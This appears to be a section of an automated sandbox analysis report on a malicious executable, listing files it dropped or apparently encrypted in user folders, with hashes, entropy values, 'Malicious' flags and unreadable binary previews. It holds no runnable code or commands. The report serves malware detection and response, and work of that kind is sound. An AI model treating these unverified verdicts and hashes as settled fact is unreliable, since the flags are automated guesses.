Preview:	[{"Sy.q.x...%......Z....5.&n1.}.).X..yz..N..j.rz...'...0..{w.......e..eO+8....0...p.....U...Q......`..!..1..0.dI.<.........zl.h....:.A..1..W.#.1e..@......=x.J.id.Me...=^u.q.T....S..);..T.f..G..h..'.R..#.`.c..$j.=..c.+r..k&.9.p...NR&..nT+H..15.../].Q........9s6..1NN}..+..X-.R(.E."..\|...{.....N..........F.Z.9..+.5.......2?...^(.w.....M.,q....4l..]cn..d...XU\|.^....i..k...goy..(..)..S.m#s........d.....}.....^a.\Eh....5..,%...y..".R$..Z...e.f'.D..J.....)v.....8..E..Fr.U..{?..C..'+..h...c....o..e[.......<.b.nC9N/y...u...:..9[.N.Y.(.XVA\.f/....<..X..>..y&...:..I........" .........%X.n..}-K.'..G..C.S...f.S..=F..M..&.L...7..7...Eo.Q.u...$.......2....q.&6K...hai..OT..e%u....R.....u........?...7.gs7.. .....Q.v..Pe.H.y..p.C.....xZ....N"Hh.......&..I..$;p.e...".8SG.......\.1.+.J.......AP..+.D.N.......)#:.V\|.B..d.-.....`.....S...).H.W....A......... ..\.F.@.Dgvw....x...FX2....1..@.sU..W....=....l.t.'...&...4a.J....\.@lj^..,...p.Z_....Z ...'.

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\SettingsCache.txt

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	696930
Entropy (8bit):	6.209559302646208
Encrypted:	false
SSDEEP:	12288:+fAkTJE7ZLMkoGotdYuMOCc5MpzgroTDLgf:wORX1uMOCc5MpzgroTDL+
MD5:	11A80B00AC3E5400D751C67E423F253E
SHA1:	CEDBDDC9BC9D90411DE040C52793A3ED821057EA
SHA-256:	81159460FD2A17109CD1D23AE6CDB2ED1DB0DC107110A12B9262F7C726EEFADE
SHA-512:	3C2702AE176B0615E3461D9B07DAB5A4E884F1581D3FF1358D170D6F175E9A3E5A13457C13D86FF3334F272C4194A821998614E512B5EAB7282A601537441C64
Malicious:	true
Preview:	[{"Sy....0.e..\|z].................1...sp.p@.7ye..B...S..m..O..se/.NH.c5r..q.'.@..Hbg.DF.0...S..!.M........r...cw^....U.c.0Z..k.j...y..l.#..].TRk .2.]W:).......;.h.\|.....c..CMA...C.v.....5?..t..Q5U.p.,`...`.a...9.....U@I...u{..^.8....{..!..(2.[.].ax.aP..L.D.P_..>:=.0^5.._`rjr.T!.C.Z............5...Z#2..w......WXU%z..Z..?iC0..Z0.{....?....9.]7..VL.P.D{w#...7...4...i."V..>.F.&W...9ZH...n....$.VID..&.^....N{.4....O.....G.O........[-..6-.......c...\|...f..B.........../....K.}....r<....Mx..... .....#cJim.5........pGP..cw.K..<..".....j.-..<N...[R..J.i.)..z5.JT...}.C.._....4.2.B.[."....K}........Vp.2\|<]. ..B...^../U.&...n...]....s..j.K..%.."=.......c..f...'k=.......u..Y...... nv......-..8...y[..CC..}..Q@.\|.w.......K..2...Zp...y..1:f.CQ..f.........]Y<...].._ U.sM.1..3.V.tD./..*....J.i4.....'~....k..W.{...V.....r..m..'[lP...i>}.Z-...HZ$'.DN.<J~..q.c...&...bI"....b.?._..:......T.1i.4V.....8...u..S...NJ.&..k.GBs....{S$..8....8s.......$C..iu.....xp.. ...X.l

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ShellFeeds\GLEAM-DARK.svg

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	7458
Entropy (8bit):	7.974826959129661
Encrypted:	false
SSDEEP:	192:wELM3fxwbnB3OSdC4DmG10d7RZtYn6HkPNEvqfy+uzz0Tpxvc:bCJwbB+Sd2G0d7RZtkJEiqDzZ
MD5:	119F35AB9F8C96933337984954D23151
SHA1:	8132707030EFB126D56C04A519A9D8BD8E721445
SHA-256:	347432DEB7873C47AD450D7BD82812C553BBBB75EFBA7ED8AAB12EDD4DFA1831
SHA-512:	94951CB5DE60C7A1B76E2631D420CFAC70FAB5B5CADE52ECAB222035656A4461A609FFAEEF6B19536595914422DA64AC54D28D89684EC9B56F9A2B07CC9D475F
Malicious:	false
Preview:	<svg ...#ur.?..v.%.k5..\|.N...&..,..g...........K.7.....0...\~+.=.p.s..)z...7....i.^..-p..=9.......K.....X2.......k......i)..&K......;..s./M.......s..".#..U......-p.i>..x.tX...!.:.,/N.)i^..3O_..g...w...){C..R1.q.Ej.h.....l..O.K.kp.!.........(.$.!c..t..Y..4..e.}t.?Jl.:"...^..E.).fDEiM"...KI.a...0.W...i.@...q..0..Nu.....i ..a........x....)._5`.vf.H.q...{`.v.$<`P8.....j&,..\|.Go.di..d...P.l...J..t.#c..R.~.......O.g...\....]...\........x._vN5..8..`.......a.2.;.).C.pyIH..Q....a.,...k?.z......5I...5..}%.....'.^:....7....(......A.r...U.....Sw.7..p.n... 1Y.........2tJe&...P.z.6......kz.r._.\|zW.S).qS<.C.C.n......N?Fjt06..........%<.Y.H..a?.`.g...gh...~:t...Q......$.u%E.z....NQ....oC3.)C...`.y..4.$.y,..i;....E(...s.~8.O...........WP.F...y.y.h...k..x{....A{{..........a..vU.v.'.V. ,..`..Q.G.}..........$\J...4`\|Z.T..H$...l....CJ....C...1.:Jv+.A....3d\|..Q.e._..z.. .]......'.....D.g.pz}.4.&.<.....g&8..Q..8.WW....a....'..j..$U.[.....p.

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ShellFeeds\GLEAM-LIGHT.svg

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	6854
Entropy (8bit):	7.97062224565274
Encrypted:	false
SSDEEP:	192:u/mlKCSDPbyVx4rAEFmvlFQfdhhdhQCOIXYtl:6C6a4rAEYvlFQfhdhbGl
MD5:	6478229F627448439642F6E656A2E019
SHA1:	FA6EA695A0FF713293E8EF51B92C816DB1CE4321
SHA-256:	AEAA7C2FAAC9DA87589109F4CDD173ADD87DA384AF081F131DBDEA779B3F3E8D
SHA-512:	2A187891B1736A58A29CC832E8F5D8B5F3C7725FD5D558803E7AB29D87ED006ECF1838B8708BB0286C3B03F507F900FB185411316E47E338CC82B395972F2192
Malicious:	false
Preview:	<svg ....[D...g.?...'[g..K..A.+0Xe..N....\.......cc.q....)...........C.HX$.....<.[:.D...+....f.....P..)a..^X.....pfy3K.S....I..t.0.4%...0....T.Bp.r....-.N.nF.....KE..tX..E..f.{..k.0.7..iv~wQ..UnqKUrd.......a.e6.\....[U..k.I\|..uA>..A..r0...O......f;gi...............h.`.myg..E5s>.\..d>....4P..n.=.HjN..t,....q...s,%}.q.A.....`....X.K...{.b...x.........chB..}.O.....z......6Q....f..a.h..SL....[.;."l[...".)9.`.....WJ?_~l.e.xf7.....W$.....#...3d..s.f.1...O...]......H..c-xB2.{N.$.:>...vq...U..u.bY....\|....J.].#.W..l.....r......{U.c.)..=...?.6i"...;#.M.....:..6.p.K..<.hK.(..BP(..........C_.t...\Z.V.(..IG.-.$.>..3...c...0....Q..]:W..Pg..a.c.B...M...S.y<.3. b.b.,..C.5..e.....T.Z0.......$G.. n17...&..8.VnOc.0xL...$...w.c7_.j.N.t...e.8[qyP..._..F....`........3.f..,aa.%.o......Q.)...S99,...A..=+.f.z.C....P.U.-....dx..).x.......?..Yb..j.\.^.%....+W....z.<v.}.g...H!..N......4...t.zYV`Yk..5sI'C9..d..Sm...5...d.Sj..j,...J\|..v.....qx..h.F

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ShellFeeds\IDX_CONTENT_TASKBARHEADLINES.json

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	149024
Entropy (8bit):	7.99876588437851
Encrypted:	true
SSDEEP:	3072:I7fqbvLJvdVLQaNGWtGGa7qEPC1yiWHIiLaQKpLTCsZ+cIi9dzEqrJtcx:I7fq/J7fcG/IC10g+sZ+pi7ttA
MD5:	FF729ADC3E4EDEC3468DE1B1FB1D075F
SHA1:	686FE86A315495E72FF1D4E3432FBBE5AD4D140A
SHA-256:	B82A6C84853A02B9DCD12C1EF84370134EBEB547749C5946B1E8F68B6F0F604C
SHA-512:	F4DBB56BBB333EB40C4734ED9A134B5755749523275F1FEB23C9F249BEC4A10367211208564122CE65DFB7E82E673D3D562D9539E25C61A424F04882CDA215EB
Malicious:	true
Preview:	{"loc..j9...6...mT.B.E..Kt.~q....8...........3....n.+.;...[..0...[........mI..x..._.}....V............C$.b..\...\.>>..._..`.....8..v..D.@p...@K.w..]......]]...o[.#..U&h..u.t...Q.V\|............H..F...t..6.H...._..3.H.)...E3!^..(d.^m,R(=........5_.V.\|.p%6%3.d.+..t....a.um.9.)..Q....tT.K.yVs.h.FL.)lH.\|5.)pFO.Jp.O..........I.\.aj.}r...+../.....9".....U... ..m.../.G.Nt.,.o..y..R.?u....c^.p.Hp.06.d..r\|2D.h7./.y.jC.44..=.UtN...o........V..-..x..._...........Rq(P.k...qv........\......&]N....F(...i......z..\... .6.qh....LR.?V!0w..>..a#&V.....N.+.....@K..B&a.~.@..d.E..Z.@&&.. .......X.m.Z..&X...p.$..Iu..Lr~g......x e".....\.l.g.......E..]..{..{.P0.:"4...~JU..v......I..!.jr.....b.6X..d..........^...0...gE....$@...m.-.c...1-.r..3+!n.Uv.Y- ..I.k..=..m.j.lT....\.l....(X..U...T.^L.......X.v...KK...xb...#..i4}...q..z.,.+.!....%$.N.......8.t..8...;..d}O.r+mT..X>.AW..v.?<.. #X.*2.Ac...'d.M.../..+.q.;H...V..`c.d}.'.@.4JV.-..q...........zg.}v.V?......

C:\Users\user\AppData\Local\Packages\Microsoft.WindowsAlarms_8wekyb3d8bbwe\Settings\settings.dat

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.9817283291480505
Encrypted:	false
SSDEEP:	192:EKLK0Y3uwbtaVMaliDb+uBWSlvUk8JN7yVkHWmgkhJHei8K:BLauw5aVpSb+uwvk8zJHWY/HSK
MD5:	FD1485D634827FD188BBDD1ECA8A47A5
SHA1:	7862EFD738544F2D0EF9DC16DA50C3A25DB9C135
SHA-256:	E548579D1961F29DE824EEFADE3947E16E23F8CB5915AC565E81F1E0773A07C1
SHA-512:	FDDC7D89D0884802E26672B9047D12C8F0085C09C63D297677A697700B8877AD71080714A0E9E0EA0377DC66014E72132EC6A8D93ADA068D87053D5B7C2BC1CE
Malicious:	false
Preview:	regf..5WA..R....(;...g._.V..;..&}.5<..SX7...Q..5}N...r.......X.".Yb..g#......,X.{B.V..g. ...i:....x]C...j....1........Hy.....%....To.#..W....56.ZRfS.~...$mX{.#.....\|.U$......._....l..or...J=..30Y.e..>v...r.T:~.....j...y.]:.(..[...S.pM.^E....\|c............3$]i.%+.Y.'..S......K..T.IZ..#.m.. 0.So...Q.O.......J..k%.U.......ew...%..}....p.L.f.K...[Y.7.5....]3c...z.1.oB-9..(}4...Qz..s....q.nu.w......{....d.........j1@1.....Hm.n.......o/....O.......6..<....'5.)Wu..6...O...G....m.v..Ag.e...`..@z....a9.E....+@@lklLR.3.../...O....=ad...:.9......$P.......$..........L..Vm.\....3E.!..Q.....%>.LV.p....\.e..~......:.z..h.(..k.6....I.%Ppr.....'....H. .g.{^...HJ..Bo.....5...4....0z......MR`.O......h...U.1..e.........E..q.Y....M.}....C..B+...e..B.....R..e.....Z.RnE..&i.!.V...h..<...._..\..%...d.ZR........N3..D.-K.\...F.q{.......S..7.F..F=k..=jT.!7Y...IS.z..Jn.p.........zG......2$...G.../+.X.,..............x......:...v..ff..8..O......Mt&

C:\Users\user\AppData\Local\Packages\Microsoft.WindowsAlarms_8wekyb3d8bbwe\Settings\settings.dat.LOG1

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.978764632288588
Encrypted:	false
SSDEEP:	192:NdWHsxVMyZp64VUoJCh7jd/NcWwc1Iw2xBqiTwsxvRaG3J:ysxeyzFVDJCh7hVcWwc1HCBvTws5RaGZ
MD5:	62F5E614C79B624C6B1182A69AB3EF79
SHA1:	8F9696BFC3ABD5C6393F4BBE8FC6C62C5B92FEEE
SHA-256:	476B890D94C55E37B12614A3E3411A741F5F21A8006A18A843FF1E84C72EAF08
SHA-512:	CBFDADE06436972776FF6B3F72D6EA9E79B60AB7BF36F49E12A9AD51F98A0313980AFE83D059707E1919F271430024DEB5A7C2F2C9CA72D75B822EB2C74DEDD9
Malicious:	false
Preview:	regf.._.UI'...R.r...$k^\.A....,O..........a...p.0(1>.d.A.d..h.0P}x...{.`Vd1y.V0U{..i..>.g...~1......V....O..c7...J..\|....!v....{.>ClwX'.....1.^.h.2.I].k...L.5>3.XJN.+..Z.lb...c.^.t..~......aNA..........#....L.E..J....l....B..A.....VG.....g....31..o....#.......?r...Zj{...Z.)...jS........~{[....z....N.2/.:.....`#."lB.7.xv.3..T7..._.bgt^...+..!.i..o\|.~..Y.......'$.k...$bS..@;.y0C..w..k&\..................+\|~9\|..G.`/w...W.&.@%.lL^\$.8..S._Y.M....#\.=.a..OXe.d......,...yP..s...H....)..].....`.4.s%>C..o.....6..2E...........5..!......^U.}....P?$..$.t..[..#<da.y#a^.Fu..F....@W>K\|yE.?..W{.4]...{.......K...h.!...../bh.{8......H....)..............O,..].P2..........\|..p.-.}]...... .....l.sa..S...pe/.9...!wO...7mIg;.9.....1."H..9.g..}9k.<..)....z.Ng;.. .sj....>..l...H3.....3..8\|!.....D?..0/.K.G..`...i]..q...4\.U.....*V....h.Y.G!..#...J...$&..zU.....=.j:{.......cu.c..]...}Q....!.#.?..C.7...2..S...H..LsZR..?4...t...0x)..........!...AP0.ONLM

C:\Users\user\AppData\Local\Packages\Microsoft.XboxGameOverlay_8wekyb3d8bbwe\LocalState\DiagOutputDir\LogFile_October_3_2023__13_9_20.txt

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	615
Entropy (8bit):	7.619661622015298
Encrypted:	false
SSDEEP:	12:6trsgEEQErHd5vX+xqJO9FEkG+1XW7v9TYcii9a:6tUEQwHd16FXW7WbD
MD5:	EC9C0C8AC55A460F3C7BA7F9E9C1C1AA
SHA1:	B5222BD5C75EBE1F50E86259E32413B6AA51B354
SHA-256:	7A1618679067AEE1F0293C3D0FE33B507BC1FB5AEA2284FAB74C46655C88DA9D
SHA-512:	EE8BB1FAA8098B13C92A3E7DAE7D4D042A0E9FD629B4E2C30F2B78688C1950A317EB03800B638B462607AC37D5FD61BE8FDB4DEB91D38A5AF60CBA5EEC731482
Malicious:	false
Preview:	[000:G.zg.....3.6.Z.YU.......Wp.F...w.)...]..mx....4"}B@.Y.l.=i.%.<.@K..D.g).e6.>..2M..f.a.Y.....@....=#...p.&....`...<........j....<IL,.......>mkB..n.R6...U!6.Q.Sb...'.4.ap.jG?....^. Q<[..%@.....fx2m..=K..}..z.x..51..\[..n2.%l".@{...x...=.@.bP....rw9./.....V_.k..L.RbE.U.......R..px..9.C{:.5...E..s...?.2.W..\..ne.~..7....~..K..P<.az7..f.NQ..\T..y.^..&`../s(Hy.{..(...t..q.W.OE....I..1.Y.........=.&...[..z>. .N.j.,.5X.>#8.D...\...1^3L$y.J..\|.rb8.hK3.>bu. O._.. .T 54.....w...}....F..K.../.6..#..X....=rw..\|/e...GQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\download.error

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	8547662
Entropy (8bit):	5.205089311941745
Encrypted:	false
SSDEEP:	49152:mEX38OPKW0ANge+q80Ibxh0T4tI6lIfKi5YJj1PKu1ZKKOV:j3F1qd/LKNV
MD5:	8E926641EA1F4F725E279FF35F245721
SHA1:	18A2969320DBE1C5B014F40D6BAC67C14859F1A5
SHA-256:	46081D9C8586B0689C16D779D50239E58858A6446E1A3F5021726C6A4C218710
SHA-512:	2A2FDB4E40C1F87693459E94A4A67D113AFBFA48DDBC28DEE8CF005B9A87AEC97A54EEE34FA00C006DDF5A088AA511940EF2716E3E503C053FC9BE2A13B7FF54
Malicious:	false
Preview:	Micro>.1D...=B{.ZWK==.nd=...B......~...5Z..G.....a.9\|~....4.H..2..N...Z.N.~p...m...0..n.4..G@D......{.<...d....B2.X/..#..gB...;.f&.U..X.r.e...r,`.\|.3.....$@B.E...ecE5...."......S..x[0..=).I..g../<....N....Z.WDy.....4.....).\(/..))...6....ZR..U.c&.53.4..r1...>..m.'`/..Yu..$.1.;......Dw.+..~.Zk.?...R.....$..a.Y.+c...AN.4sP7...FB\|P...x..SY).....F.c..X..U6.o.....Eu.m......)C..Q....2.....;.\Z;......]{..N'YA3....0.....d.~1.>..7T...z....!;(t..`....0...+..bYM....f.s.-.W...w...T..t]......w.UWc.._@...M.@Y_?.....I......U%e.g.\,........#........0!....=..\|.........P.hf?.U..&s8s\|...;...../...r.......&..)A9:.1.P..0r8...Y.0.#r.<........m.."&..E...Q..0..X...Z".;..v...}.odF....J..q..\B..Rh^.z...t..O.=#V..........\.p.1q.lcD@y......D..U.?..@.Q..)..../..}m..c....q;..&.oj.YJw.jvQ...G.........j2...qUih.j..../.9/......\|.6..M.;.....$.K......v....}..h....ss......."}\.!.5.(.G.d...M....Uh2..h*....Sp..D..ge.,......8...1..PYgf....,kC....Q..o(.9.}1M..Q..R...L

C:\Users\user\AppData\Local\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ntkrnlmp.pdb

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	8547662
Entropy (8bit):	5.205095651693771
Encrypted:	false
SSDEEP:	49152:weAhADo38OPKW0ANge+q80Ibxh0T4tI6lIfKi5YJj1PKu1ZKKOj:94F1qd/LKNj
MD5:	875D44705169631D662862B4B09E4A68
SHA1:	F03FCE5E01A847A9BB1558E448138CE88B589C95
SHA-256:	093B5123AB574432076C73600790000CF815C30ECAD992D3E9CEDEF2528B90DE
SHA-512:	6D6C91639CBCCD43A6C1CCA872CA5CDF0D366521BC288EE69417BDB33C6A8638EFA45568269BD6701C8F5A87D56D2EA4FF3C859D50D456B5CBF39491DC63D71A
Malicious:	false
Preview:	MicroK.fF8.U3.P'UD.gN...;..Idr..}.R.@....7..\{.z75..m{....{...[buc.:.9......>.ML-.Pc.t...m>.f.b.\|.&<.N\.u=..I...9....]....V.].4eK...{h.9.}.....{0'E.. .J..eS..U.o.e@...2...[7..#...B..D.Id.T.^...&B..{..K.{....Q.y.c.(bt.....Y.1A.2....BlRS..........K"..O.=^.t/a..... ...zJ...F...dJ)y..S.5.GW..U.1Z;.4..........FZ..?.q4T...........:.t..c.s(f2...h.Kt.<IX`8.'.x..;.U>..0.G0..\|f.....4.i..3..SMC.fR"......a3...E.?.;...........K...J.T.ntKv.0...(&.K..J.`'./!....tV5.vdB..+.a../......nU..Y..h.a...)..=..M......UgC..a.P ..h.../6\.....{.P.T-P......mC.MY=......0^.V...L...x...p.E..iG..0.h.\|.c35Y...e.#L......]......./..Fp...9yK..D..VX....#g.q.L 0.<...%.]......y.Q.E=.v....X.. .\O80.W)4...g...M.../..kF.../A.[\{.sO:Y...-dH....}....m.!I-..p.D.v`.0.O......._j:c...;N.?.Zv.D.b...W/M..`.xw.NG....UL.d...C..w?....7..d...C.......g.....C..q.0..^kX`^..KJF.l4;.Q......I<..@.........3..,b{..B-...u...Ly.\.'.....e.....\.<..n.Y.X.] .9.Rd.K...4RV...1..T.X.z_".G.C

C:\Users\user\AppData\Local\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\download.error

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1192270
Entropy (8bit):	5.662637379202053
Encrypted:	false
SSDEEP:	12288:lI5MI8Dl9oYdJQ4aKVmaS4aMz8Pg3lxJo2cvXtz:yMro2BaKVzaYcAqtz
MD5:	EAEFBF4BC3C3074F47B02D8B6C97BCE9
SHA1:	251DF5661F396845AB3942C08AE920DFA427309E
SHA-256:	941B5D2628DD5DE4E6BBAB8DA4AC0E385BCC1D7DDF107E7464B87A4BF994695A
SHA-512:	B54D1EB5ABE0FE13EAF8F0BCCC2B1EE4A82B2D22BFF0F6FD07924530B09227D051334EFF9824E9DDE4AA4F1A31655BFE962FCFD189512D1BA3DFD21F559CAD1A
Malicious:	false
Preview:	Micro.M/.[.&.:....'..u._.O.....5.-..Nz{Q9.L...t..-.. F..U.L...z/ ..Y.g..c.n..KgS.#....d..?......P...C.....ohv'xq..1...6..6....I.}...B..f..E..K.n.>#S...o6b.]lW.n.E.).!c?..Z.5\|1.wjad%.iZ.J.c.qV..."iI).5."...T...H.U.<Pw..{.#z......a/.G.G..Y.......#................?.=`[.C$...l&].K.....!..UY...b.#Zp.:5.M.>.p......:...9.s....7.A%.^...q.....X.nf..x41....6n.\|..... ..i....y#r....53..L...0v...tO......c...3...b.aH^.w...56..T...C...W..W.z...O>#!.Q..h.`......9...,T.A.'..A....]).....7q..x..#..1..]/{-.3.......\|E,.3..".:?..o?#.\|....'{.z{y...c8.5....+..x.....`.=..~.k.K..zi4'r`.....].L.\i.V......3w.du.8.S.wP.Zwwu`.jQ.RE....:.......`>#@>....lAf.p.......{(..{..6Ym.h.d.....:X...j.cK..U{.....,."...o..HX..}...... ....H;:.V..[...}(....~...R8..4.\p....s.......Gj.K.U./K[......9.e....0.;l.M\L...7.&......d...4I]T!)a$.;.A..........8E.;NSh.........T.W..6...<.B..yBv.t...-!.I...E.U{X.......m.;./.....s...I...Bq&>.U?B....WF.d....v..x...L....=.o...

C:\Users\user\AppData\Local\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdb

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1192270
Entropy (8bit):	5.662634387442443
Encrypted:	false
SSDEEP:	12288:MznTWhw7yGJQ4aKVmaS4aMz8Pg3lxJo2cvXtj:o4w+GBaKVzaYcAqtj
MD5:	6DBB6E0E0BAE0AE798831213A3283BA8
SHA1:	10523D60C1AEDB9EC87853A861F78DC5DD8F4B3D
SHA-256:	A5211241A4DEFBF3C393F925B3185A13E951DADA343454709566008580818AFE
SHA-512:	E5B2DCF0A6AD1FA667C8ECFA0B48CC2163003670B31CF54A6C9A5B9F068C57900317AD61D2FC2C2BB656A963FD07EB77007B75850F8A61F8F39A25CD1D64704A
Malicious:	false
Preview:	Micro.OO.eI.T.VX.8U)...$.wY8........]I......u.....-.Zc./m+.G..#..7#p=.}\..Vu...t>.+.3vT..kC.^..AC.%.@.N.".a...k.<V.''F.`p...l...!?.!B..f..@.j.\|..-...............t.^s..q0.b......kx.p{B..._.....+.{...P./....@.~]...^B..Z9..tC,=".j6..@yN.m....i.\|d.q.....z`..\d+...........n.d...7..P...p................D....vS..a Q..N)...Ikl3.c.. ...s"}........\e...'.Q.w&.:%..PE~g.o........D...Ts.="....c.y5.~.."#.u..$.`.l...}......3...X.W.Yw%N...W-b.B....Q.h,_..'?...Y........D...C..[W<.........g`.)... Iu...M.\..p.F.B....f9.h6..K#........[..A..`..n8W...D.Y}..T\u...rEP.f........K.cT.a[....).7 ..Z.'GEu6f.W..Z.n,a~..... .G.....A.=..Vq.mo..]sZ....:..X>...e...7.t..,c..&...@..M.7.4.f.H.M..+\.....S..^T.#...W.6GZ.`.6O..l....PH...^.{....&...S.4(b...K.9.+..G..-.@...dx.Q..S....T...-..e...c....Kmj.l".Z.vVQ..o..QH.."....CW..F.-2r...7.nK..Wm.vx&J........tr.S.....[4.@.......3vA.6...x.....D.. @.....?..u...F.'...e..p.....}d..=.;......i,q)..~...%..J7..m.....i..?.w.n.6.._".

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	24210
Entropy (8bit):	7.992587858251179
Encrypted:	true
SSDEEP:	384:xiCTKNwbfUKeYJ2vX6prEPKhax2o7bXpwoVEETW8RftrBzb/qvMJsqKJ2GzPF/dA:q2bJeYICaChaxN7bXpwQEz4rZTiYsqKi
MD5:	81D85B8115A38A0D6BB5EFDFA094B2A0
SHA1:	BD0517E4413E0E57157E50CED33EC41540086410
SHA-256:	CFFCB36282CFB9020B49E84620541CC0B6E2535D5B1D43C9C934BAE22C1C7930
SHA-512:	7159439EFB614141479A42877127A7349BA6F75F296347E604064F2C6CEE5EF412201B7CFD1FA4D779243F186F5F1455C44B2073F8FBB1D98F225321A7E4526E
Malicious:	true
Preview:	03-10.j$./.m.y#....<..I\|..>.c.j.....H..0.....laj..H..a....(.f]....3.^..P.T.N>....x.7(. X...3.e..4.t...4.=!..k_....Y...~z..<G.I.%m.........y......."%..%.k.8.?U.rt..&.J(#....D.}..}Q......:..S.0.9.<o..y........z.w...>.@..0.d......%.-......h....vQPi.8.#...(?c.LB...yE3v]...../.l....DL..3~!=....7n.hH...W(,-N.[V...E....5.....,I&..i......x[.G...i...D<y......7w.._~..1...s.>.\}.......#....d).j.v...q...l.....u.....O..:.r.b9.rE ..7...... .hp...S........yk.X3O ...l.w..G.`.r.d...(JBFS.......T.1WA .qhEP.......v8..Z..p..v...?....;..==....../f+.....^... .]..:../.5..}n.^L....]..h..f}....-.5&W...^b.[.\.x>.#.7.^h...a:o, +.+.P.`....0Y.Jm.5...a.[.^R........i.....h./.....6..0.}W.......}w......"O.m.F......HtcW~e..#5).?.}f...).?.w~..y..J<(s.i[...UY..9g...a[V.]...1.[...M%.;G.l.t'....3.0.p..y....;....".i.=...Y.4.^.X..y.0>u...y..6....ug..d8L.....&.4}.......v...K ..P;....#Si......!.[c..20m.&-u^.IyP.&N&.M`.D..RKV^.3......s..4.*..$`.HxY......Zr!..h.Y.1F...

C:\Users\user\AppData\Local\Temp\msedge_installer.log

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	22093
Entropy (8bit):	7.991955590751534
Encrypted:	true
SSDEEP:	384:6JvhQdUJt6pCiYdRkQHVFfndOQ9HnAkcCPMSoXM1MITD/0d71AC0/NBD:a7ygtHVF/dOEHnA0Noc1xDcdY9
MD5:	96DA82CA1829DBF3C804E361358BA579
SHA1:	25BC2AA3048DE8766E409645F3FDC77B4B39E588
SHA-256:	2B83ADD7AA6553D04E497C431534D3F943AF9C66F4E88003EA765E8E9563F2D6
SHA-512:	D8F30F955319F470CCC1729EB111CAB03CEA90A343ECA0E4AEACB8214ACBFE818EB03B17A61E4C4745FEE05F9F3BA9EC2C090412FF28A31DAF5DA107EBD564DB
Malicious:	true
Preview:	[4004#..N.....8jt.mz...N..O.9u..._..m7..G.........1J.tUyt...........A...;e.A=..`....;j.5..3..z...H....N.=...._..2R.o4..A.../I.}.aP.i.<.s.5f.C...5.9L.82.s.~8:P'?..].....q1...j.ZA4.T..z.l_..z...$....V.t....W...\.G(:8........1........rq..A.Jd.R...].P.~J~N....+..Y.9........!....(.C.1.ou~....Eu...`.G]...a.....C..z..BH.`"....."D........\|..\|\|..m..a...~S.z>...F....<.H..,<...AJ...&i;..[.....7.m.R.?d...2..g.\..\|.j./y.h....\|s..T{ .........V..+..m.J..lZa.6.vG.....O.q.......Q.i..y...Xoo.y..........0.oaw2..+....D..D'.Q-....b...).]...4<WF......=...t.3"L...n.v.I.B5$..v8 . W:...=.....1......G5v.... e.....&.=VS.x..N.0w...1lT..`."\|@..7$.o.z...,(..<.U...VI.x9i.s.(VU.Bo.v.O=Vm.vD..X,?..J..,.._....-..A..e...N2.mb.].$e..........7.:-.+m.3C..].*.%.lq....j(....v!^d.j....p..'N...j..?.y..`.._...L..n..'.O.....E..T..A..).M...~..H..7.mI........MI_!.`..O`\|q..;.M\|a.."u.PEl.."........6...^..7..=@\.$#...I..Da.r...m.J.....z[.mQk.j^.J...u...@.....B..n.[$Q<.&.T.e.68

C:\Users\user\AppData\Local\Temp\offline.session64

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	66542
Entropy (8bit):	7.996879961654678
Encrypted:	true
SSDEEP:	1536:ClrCwtBnHlEVbFzC428CrxMDni9oKo1lA4TMOwyI8:WrCmfEVb5DnWoK+A0H
MD5:	2B8C3F288A931AE7E6BAB3AA2CA2D254
SHA1:	DA9D6180CE990497FBCCDB0319A8CC26BD2CEA9E
SHA-256:	1764911E86F4BA7EC5748EF3C677B97B0FE8D2E4F2D0FBCAAACCA59F2E7C8285
SHA-512:	6FAF2A7BE09F327446EA49FFB761C5915217B5390D7D60EC71059F8F2EA528E98B2BCD7C39ADB431EB988BE059BD192A6D9F35DE07556D5B66070E4EC6E6FB5F
Malicious:	true
